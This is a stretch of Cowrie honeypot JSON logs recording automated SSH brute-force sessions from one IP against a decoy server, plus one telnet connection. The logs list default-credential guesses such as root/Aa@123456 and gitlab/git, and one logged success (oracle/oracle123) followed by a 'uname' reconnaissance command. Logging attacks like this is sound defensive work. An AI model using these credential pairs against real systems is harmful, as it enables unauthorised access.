{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:24.763013Z","src_ip":"192.109.200.78","session":"e00264e60955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1234","message":"login attempt [cloud/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:25.075326Z","src_ip":"192.109.200.78","session":"e00264e60955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:26.159721Z","src_ip":"192.109.200.78","session":"e00264e60955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39394,"dst_ip":"10.17.0.5","dst_port":22,"session":"92b9085dc545","protocol":"ssh","message":"New connection: 192.109.200.78:39394 (10.17.0.5:22) [session: 92b9085dc545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:28.214547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:28.218599Z","src_ip":"192.109.200.78","session":"92b9085dc545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:28.299899Z","src_ip":"192.109.200.78","session":"92b9085dc545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"git","message":"login attempt [gitlab/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:28.546555Z","src_ip":"192.109.200.78","session":"92b9085dc545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:29.630945Z","src_ip":"192.109.200.78","session":"92b9085dc545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39404,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a5bc3b26feb","protocol":"ssh","message":"New connection: 192.109.200.78:39404 (10.17.0.5:22) [session: 1a5bc3b26feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:31.549635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:31.556404Z","src_ip":"192.109.200.78","session":"1a5bc3b26feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:31.638132Z","src_ip":"192.109.200.78","session":"1a5bc3b26feb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:31.883424Z","src_ip":"192.109.200.78","session":"1a5bc3b26feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:32.968615Z","src_ip":"192.109.200.78","session":"1a5bc3b26feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46428,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ab39ac2dd5a","protocol":"ssh","message":"New connection: 192.109.200.78:46428 (10.17.0.5:22) [session: 9ab39ac2dd5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:34.999380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:35.004880Z","src_ip":"192.109.200.78","session":"9ab39ac2dd5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:35.086071Z","src_ip":"192.109.200.78","session":"9ab39ac2dd5a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:35.449313Z","src_ip":"192.109.200.78","session":"9ab39ac2dd5a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:35.730572Z","src_ip":"192.109.200.78","session":"9ab39ac2dd5a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:35.733922Z","src_ip":"192.109.200.78","session":"9ab39ac2dd5a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:35.818569Z","src_ip":"192.109.200.78","session":"9ab39ac2dd5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:35.823168Z","src_ip":"192.109.200.78","session":"9ab39ac2dd5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46442,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5064f61cafd","protocol":"ssh","message":"New connection: 192.109.200.78:46442 (10.17.0.5:22) [session: a5064f61cafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:38.686010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:38.690253Z","src_ip":"192.109.200.78","session":"a5064f61cafd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:38.771292Z","src_ip":"192.109.200.78","session":"a5064f61cafd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo","message":"login attempt [odoo17/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:39.017383Z","src_ip":"192.109.200.78","session":"a5064f61cafd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:40.102813Z","src_ip":"192.109.200.78","session":"a5064f61cafd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42408,"dst_ip":"10.17.0.5","dst_port":22,"session":"85a2e6ddd006","protocol":"ssh","message":"New connection: 192.109.200.78:42408 (10.17.0.5:22) [session: 85a2e6ddd006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:42.167546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:42.172064Z","src_ip":"192.109.200.78","session":"85a2e6ddd006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:42.260669Z","src_ip":"192.109.200.78","session":"85a2e6ddd006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:42.506506Z","src_ip":"192.109.200.78","session":"85a2e6ddd006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:43.589648Z","src_ip":"192.109.200.78","session":"85a2e6ddd006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.146.80.114","src_port":9614,"dst_ip":"10.17.0.5","dst_port":23,"session":"24e9ef400fb6","protocol":"telnet","message":"New connection: 217.146.80.114:9614 (10.17.0.5:23) [session: 24e9ef400fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:44.013923Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42418,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9c4a0cfe0d9","protocol":"ssh","message":"New connection: 192.109.200.78:42418 (10.17.0.5:22) [session: d9c4a0cfe0d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:45.577020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:45.582159Z","src_ip":"192.109.200.78","session":"d9c4a0cfe0d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:45.664298Z","src_ip":"192.109.200.78","session":"d9c4a0cfe0d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"1234","message":"login attempt [oscar/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:46.315530Z","src_ip":"192.109.200.78","session":"d9c4a0cfe0d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:47.399525Z","src_ip":"192.109.200.78","session":"d9c4a0cfe0d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42442,"dst_ip":"10.17.0.5","dst_port":22,"session":"771bfab7f979","protocol":"ssh","message":"New connection: 192.109.200.78:42442 (10.17.0.5:22) [session: 771bfab7f979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:49.358226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:49.362114Z","src_ip":"192.109.200.78","session":"771bfab7f979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:49.444736Z","src_ip":"192.109.200.78","session":"771bfab7f979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"rootroot","message":"login attempt [ubuntu/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:49.696089Z","src_ip":"192.109.200.78","session":"771bfab7f979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:50.782240Z","src_ip":"192.109.200.78","session":"771bfab7f979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44372,"dst_ip":"10.17.0.5","dst_port":22,"session":"efe3ae1e7fe9","protocol":"ssh","message":"New connection: 192.109.200.78:44372 (10.17.0.5:22) [session: efe3ae1e7fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:52.728967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:59:52.732755Z","src_ip":"192.109.200.78","session":"efe3ae1e7fe9","protocol":"ssh"}
